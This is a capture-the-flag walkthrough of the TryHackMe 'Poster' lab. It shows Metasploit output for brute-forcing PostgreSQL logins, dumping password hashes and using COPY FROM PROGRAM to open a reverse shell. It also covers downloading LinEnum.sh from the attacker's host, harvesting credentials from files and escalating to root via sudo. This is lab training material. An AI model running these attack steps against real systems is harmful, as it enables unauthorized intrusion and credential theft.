CatSec.org

Poster

In this post, we will look into the room “Poster” from TryHackMe, which can be found on https://tryhackme.com

For the first tasks we start with the good old nmap scan:

╰─ nmap -sV  -p- -T 5 10.10.167.141 -Pn
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-12 07:00 EDT
Warning: 10.10.167.141 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.167.141
Host is up (0.021s latency).
Not shown: 65470 closed ports, 62 filtered ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http       Apache httpd 2.4.18 ((Ubuntu))
5432/tcp open  postgresql PostgreSQL DB 9.5.8 - 9.5.10
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.42 seconds

Then we proceed to msf console and start searching for the enumeration module. Belowe we have the output of the search command:

╰─ msfconsole -q         
msf5 > search postgresql

Matching Modules
================

   #   Name                                                        Disclosure Date  Rank       Check  Description
   -   ----                                                        ---------------  ----       -----  -----------
   0   auxiliary/admin/http/manageengine_pmp_privesc               2014-11-08       normal     Yes    ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection
   1   auxiliary/admin/http/rails_devise_pass_reset                2013-01-28       normal     No     Ruby on Rails Devise Authentication Password Reset
   2   auxiliary/admin/postgres/postgres_readfile                                   normal     No     PostgreSQL Server Generic Query
   3   auxiliary/admin/postgres/postgres_sql                                        normal     No     PostgreSQL Server Generic Query
   4   auxiliary/scanner/postgres/postgres_dbname_flag_injection                    normal     No     PostgreSQL Database Name Command Line Flag Injection
   5   auxiliary/scanner/postgres/postgres_login                                    normal     No     PostgreSQL Login Utility
   6   auxiliary/scanner/postgres/postgres_version                                  normal     No     PostgreSQL Version Probe
   7   auxiliary/server/capture/postgresql                                          normal     No     Authentication Capture: PostgreSQL
   8   exploit/linux/postgres/postgres_payload                     2007-06-05       excellent  Yes    PostgreSQL for Linux Payload Execution
   9   exploit/multi/http/manage_engine_dc_pmp_sqli                2014-06-08       excellent  Yes    ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection
   10  exploit/multi/postgres/postgres_copy_from_program_cmd_exec  2019-03-20       excellent  Yes    PostgreSQL COPY FROM PROGRAM Command Execution
   11  exploit/multi/postgres/postgres_createlang                  2016-01-01       good       Yes    PostgreSQL CREATE LANGUAGE Execution
   12  exploit/windows/postgres/postgres_payload                   2009-04-10       excellent  Yes    PostgreSQL for Microsoft Windows Payload Execution
   13  post/linux/gather/enum_users_history                                         normal     No     Linux Gather User History


Interact with a module by name or index, for example use 13 or use post/linux/gather/enum_users_history

After using the correct module we set up the options inside of it and type "run":

msf5 > use 5
msf5 auxiliary(scanner/postgres/postgres_login) > show options 

Module options (auxiliary/scanner/postgres/postgres_login):

   Name              Current Setting                                                               Required  Description
   ----              ---------------                                                               --------  -----------
   BLANK_PASSWORDS   false                                                                         no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                                                                             yes       How fast to bruteforce, from 0 to 5
   DATABASE          template1                                                                     yes       The database to authenticate against
   DB_ALL_CREDS      false                                                                         no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false                                                                         no        Add all passwords in the current database to the list
   DB_ALL_USERS      false                                                                         no        Add all users in the current database to the list
   PASSWORD                                                                                        no        A specific password to authenticate with
   PASS_FILE         /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt      no        File containing passwords, one per line
   Proxies                                                                                         no        A proxy chain of format type:host:port[,type:host:port][...]
   RETURN_ROWSET     true                                                                          no        Set to true to see query result sets
   RHOSTS                                                                                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT             5432                                                                          yes       The target port
   STOP_ON_SUCCESS   false                                                                         yes       Stop guessing when a credential works for a host
   THREADS           1                                                                             yes       The number of concurrent threads (max one per host)
   USERNAME                                                                                        no        A specific username to authenticate as
   USERPASS_FILE     /usr/share/metasploit-framework/data/wordlists/postgres_default_userpass.txt  no        File containing (space-separated) users and passwords, one pair per line
   USER_AS_PASS      false                                                                         no        Try the username as the password for all users
   USER_FILE         /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt      no        File containing users, one per line
   VERBOSE           true                                                                          yes       Whether to print output for all attempts

msf5 auxiliary(scanner/postgres/postgres_login) > set rhosts 10.10.167.141
rhosts => 10.10.167.141
msf5 auxiliary(scanner/postgres/postgres_login) > run

After a few seconds the module will execute and we will get our username and password:

[!] No active DB -- Credential data will not be saved!
[-] 10.10.167.141:5432 - LOGIN FAILED: :@template1 (Incorrect: Invalid username or password)
[-] 10.10.167.141:5432 - LOGIN FAILED: :tiger@template1 (Incorrect: Invalid username or password)
[-] 10.10.167.141:5432 - LOGIN FAILED: :postgres@template1 (Incorrect: Invalid username or password)
[-] 10.10.167.141:5432 - LOGIN FAILED: :password@template1 (Incorrect: Invalid username or password)
[-] 10.10.167.141:5432 - LOGIN FAILED: :admin@template1 (Incorrect: Invalid username or password)
[-] 10.10.167.141:5432 - LOGIN FAILED: postgres:@template1 (Incorrect: Invalid username or password)
[-] 10.10.167.141:5432 - LOGIN FAILED: postgres:tiger@template1 (Incorrect: Invalid username or password)
[-] 10.10.167.141:5432 - LOGIN FAILED: postgres:postgres@template1 (Incorrect: Invalid username or password)
[+] 10.10.167.141:5432 - Login Successful: REDACTED:REDACTED@template1
[-] 10.10.167.141:5432 - LOGIN FAILED: scott:@template1 (Incorrect: Invalid username or password)
[-] 10.10.167.141:5432 - LOGIN FAILED: scott:tiger@template1 (Incorrect: Invalid username or password)
[-] 10.10.167.141:5432 - LOGIN FAILED: scott:postgres@template1 (Incorrect: Invalid username or password)
[-] 10.10.167.141:5432 - LOGIN FAILED: scott:password@template1 (Incorrect: Invalid username or password)
[-] 10.10.167.141:5432 - LOGIN FAILED: scott:admin@template1 (Incorrect: Invalid username or password)
[-] 10.10.167.141:5432 - LOGIN FAILED: admin:@template1 (Incorrect: Invalid username or password)
[-] 10.10.167.141:5432 - LOGIN FAILED: admin:tiger@template1 (Incorrect: Invalid username or password)
[-] 10.10.167.141:5432 - LOGIN FAILED: admin:postgres@template1 (Incorrect: Invalid username or password)
[-] 10.10.167.141:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password)
[-] 10.10.167.141:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password)
[-] 10.10.167.141:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password)
[-] 10.10.167.141:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/postgres/postgres_login) > 

Now we over to the second part of the exploit and use the credentials from above to exploit the service:

sf5 auxiliary(scanner/postgres/postgres_login) > use 3
msf5 auxiliary(admin/postgres/postgres_sql) > 
msf5 auxiliary(admin/postgres/postgres_sql) > show options 

Module options (auxiliary/admin/postgres/postgres_sql):

   Name           Current Setting   Required  Description
   ----           ---------------   --------  -----------
   DATABASE       template1         yes       The database to authenticate against
   PASSWORD       postgres          no        The password for the specified username. Leave blank for a random password.
   RETURN_ROWSET  true              no        Set to true to see query result sets
   RHOSTS                           yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT          5432              yes       The target port
   SQL            select version()  no        The SQL query to execute
   USERNAME       postgres          yes       The username to authenticate as
   VERBOSE        false             no        Enable verbose output

msf5 auxiliary(admin/postgres/postgres_sql) > set rhosts 10.10.167.141
rhosts => 10.10.167.141
msf5 auxiliary(admin/postgres/postgres_sql) > set password REDACTED
password => REDACTED
msf5 auxiliary(admin/postgres/postgres_sql) > set username REDACTED
username => REDACTED
msf5 auxiliary(admin/postgres/postgres_sql) > run
[*] Running module against 10.10.167.141

Query Text: 'select version()'
==============================

    version
    -------
    PostgreSQL 9.5.21 on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 5.4.0-6ubuntu1~16.04.12) 5.4.0 20160609, 64-bit

[*] Auxiliary module execution completed

(I figured out that my search was really limited in my first msfconsole query so now i am just looking for generic "postgres")

Moving down to dumping the hashes:

sf5 auxiliary(admin/postgres/postgres_sql) > search postgres

Matching Modules
================

   #   Name                                                        Disclosure Date  Rank       Check  Description
   -   ----                                                        ---------------  ----       -----  -----------
   0   auxiliary/admin/http/manageengine_pmp_privesc               2014-11-08       normal     Yes    ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection
   1   auxiliary/admin/http/rails_devise_pass_reset                2013-01-28       normal     No     Ruby on Rails Devise Authentication Password Reset
   2   auxiliary/admin/postgres/postgres_readfile                                   normal     No     PostgreSQL Server Generic Query
   3   auxiliary/admin/postgres/postgres_sql                                        normal     No     PostgreSQL Server Generic Query
   4   auxiliary/analyze/crack_databases                                            normal     No     Password Cracker: Databases
   5   auxiliary/scanner/postgres/postgres_dbname_flag_injection                    normal     No     PostgreSQL Database Name Command Line Flag Injection
   6   auxiliary/scanner/postgres/postgres_hashdump                                 normal     No     Postgres Password Hashdump
   7   auxiliary/scanner/postgres/postgres_login                                    normal     No     PostgreSQL Login Utility
   8   auxiliary/scanner/postgres/postgres_schemadump                               normal     No     Postgres Schema Dump
   9   auxiliary/scanner/postgres/postgres_version                                  normal     No     PostgreSQL Version Probe
   10  auxiliary/server/capture/postgresql                                          normal     No     Authentication Capture: PostgreSQL
   11  exploit/linux/postgres/postgres_payload                     2007-06-05       excellent  Yes    PostgreSQL for Linux Payload Execution
   12  exploit/multi/http/manage_engine_dc_pmp_sqli                2014-06-08       excellent  Yes    ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection
   13  exploit/multi/postgres/postgres_copy_from_program_cmd_exec  2019-03-20       excellent  Yes    PostgreSQL COPY FROM PROGRAM Command Execution
   14  exploit/multi/postgres/postgres_createlang                  2016-01-01       good       Yes    PostgreSQL CREATE LANGUAGE Execution
   15  exploit/windows/misc/manageengine_eventlog_analyzer_rce     2015-07-11       manual     Yes    ManageEngine EventLog Analyzer Remote Code Execution
   16  exploit/windows/postgres/postgres_payload                   2009-04-10       excellent  Yes    PostgreSQL for Microsoft Windows Payload Execution
   17  post/linux/gather/enum_users_history                                         normal     No     Linux Gather User History


Interact with a module by name or index, for example use 17 or use post/linux/gather/enum_users_history

msf5 auxiliary(admin/postgres/postgres_sql) >  use 6
msf5 auxiliary(scanner/postgres/postgres_hashdump) > show options 

Module options (auxiliary/scanner/postgres/postgres_hashdump):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   DATABASE  postgres         yes       The database to authenticate against
   PASSWORD  postgres         no        The password for the specified username. Leave blank for a random password.
   RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT     5432             yes       The target port
   THREADS   1                yes       The number of concurrent threads (max one per host)
   USERNAME  postgres         yes       The username to authenticate as
msf5 auxiliary(scanner/postgres/postgres_hashdump) > set password REDACTED
password => REDACTED
msf5 auxiliary(scanner/postgres/postgres_hashdump) > set username REDACTED
username => REDACTED
msf5 auxiliary(scanner/postgres/postgres_hashdump) > set database REDACTED
database => REDACTED
msf5 auxiliary(scanner/postgres/postgres_hashdump) > set rhosts 10.10.167.141
rhosts => 10.10.167.141
msf5 auxiliary(scanner/postgres/postgres_hashdump) > set threads 3
threads => 3

For whatever reason with the default settings it seemed that it couldn't do any hashdumps so if you face the same as me up the number of threads. Now that the command executed successfully we have an output of users and password hashes:

msf5 auxiliary(scanner/postgres/postgres_hashdump) > run

[+] Query appears to have run successfully
[+] Postgres Server Hashes
======================

 Username   Hash
 --------   ----
 REDACTED	REDACTED
 REDACTED	REDACTED
 REDACTED	REDACTED
 
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Now let's jump ahead and get our command execution on the box:

msf5 auxiliary(scanner/postgres/postgres_hashdump) > use 13
[*] Using configured payload cmd/unix/reverse_perl
msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > show options 

Module options (exploit/multi/postgres/postgres_copy_from_program_cmd_exec):

   Name               Current Setting  Required  Description
   ----               ---------------  --------  -----------
   DATABASE           template1        yes       The database to authenticate against
   DUMP_TABLE_OUTPUT  false            no        select payload command output from table (For Debugging)
   PASSWORD           postgres         no        The password for the specified username. Leave blank for a random password.
   RHOSTS                              yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT              5432             yes       The target port (TCP)
   TABLENAME          ZWrzD44hdb       yes       A table name that does not exist (To avoid deletion)
   USERNAME           postgres         yes       The username to authenticate as


Payload options (cmd/unix/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set lhost tun0 
lhost => 10.11.2.118
msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set rhosts 10.10.167.141
rhosts => 10.10.167.141
msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set username REDACTED
username => REDACTED
msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set password REDACTED
password => REDACTED
msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set tablename ZHKAQQOIQ
tablename => ZHKAQQOIQ

And now we got a shell:

msf5 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > run

[*] Started reverse TCP double handler on 10.11.2.118:4442 
[*] 10.10.167.141:5432 - 10.10.167.141:5432 - PostgreSQL 9.5.21 on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 5.4.0-6ubuntu1~16.04.12) 5.4.0 20160609, 64-bit
[*] 10.10.167.141:5432 - Exploiting...
[+] 10.10.167.141:5432 - 10.10.167.141:5432 - alsd121 dropped successfully
[+] 10.10.167.141:5432 - 10.10.167.141:5432 - alsd121 created successfully
[+] 10.10.167.141:5432 - 10.10.167.141:5432 - alsd121 copied successfully(valid syntax/command)
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[+] 10.10.167.141:5432 - 10.10.167.141:5432 - alsd121 dropped successfully(Cleaned)
[*] 10.10.167.141:5432 - Exploit Succeeded
[*] Command: echo GuJMOjeHqntJTj8V;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "Trying: not found\r\nsh: 2: Connected: not found\r\nsh: 3: Escape: not found\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 2 opened (10.11.2.118:4442 -> 10.10.167.141:35356) at 2020-09-12 20:42:08 -0400


whoami
postgres

After doing the above we enumerate using LinEnum.sh:

We start by dowloading the file and setting up a python http server

─ python3 -m http.server 8000

Then we download the file on the box using wget which in my case is this (replace the ip with your tun0 ip):

wget http://10.11.2.118:8000/linenum.sh

We make the script executable and run it:

chmod +x linenum.sh
./linenum.sh

After a few seconds we get the following from the script:

[+] It looks like we have password hashes in /etc/passwd!
#/home/REDACTED/credentials.txt

Bingo, we're in:

cd /home/dark
ls
credentials.txt
cat credentials.txt
REDACTED:REDACTED

We can successfully SSH into the box using the above credentials:

╰─ ssh dark@10.10.160.50                 
The authenticity of host '10.10.160.50 (10.10.160.50)' can't be established.
ECDSA key fingerprint is SHA256:9sVne2iRYnXtCm1g5M0jwlzBMg0GmByloIG6c7gDlgA.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.160.50' (ECDSA) to the list of known hosts.
dark@10.10.160.50's password: 
Last login: Tue Jul 28 20:27:25 2020 from 192.168.85.142
$ ls
credentials.txt

Similar approach to the above we upload linenum.sh and see if we can find any gems. After some infestigation it seems that no useful information was shown so I decided to move to linpeas.sh where I was able to find a config file:

[+] Interesting writable files owned by me or writable by everyone (not in Home) (max 500)
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files
/dev/mqueue
/dev/shm
/home/dark
/run/lock
/tmp
/tmp/.ICE-unix
/tmp/.Test-unix
/tmp/.X11-unix
/tmp/.XIM-unix
/tmp/.font-unix
/var/tmp
/var/www/html/config.php

Reading that file gives us enough information on how to privesc:

dark@10.10.160.50's password: 
Last login: Sun Sep 13 05:11:11 2020 from 10.11.2.118
$ cat /var/www/html/config.php
<?php 
	
	$dbhost = "127.0.0.1";
	$dbuname = "REDACTED";
	$dbpass = "REDACTED;
	$dbname = "REDACTED";
?>$ 

Using the credentials above we SSH to the next user and grab the user.txt flag

alison@ubuntu:~$ ls
user.txt

Below i am checking for sudo perms and to my suprise we have full sudo perm:

alison@ubuntu:~$ sudo -l
[sudo] password for alison: 
Matching Defaults entries for alison on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User alison may run the following commands on
        ubuntu:
    (ALL : ALL) ALL

Now we simply read the root.txt file:

alison@ubuntu:~$ sudo su
root@ubuntu:/home/alison# cat^C
root@ubuntu:/home/alison# cd /root/
root@ubuntu:~# ls
root.txt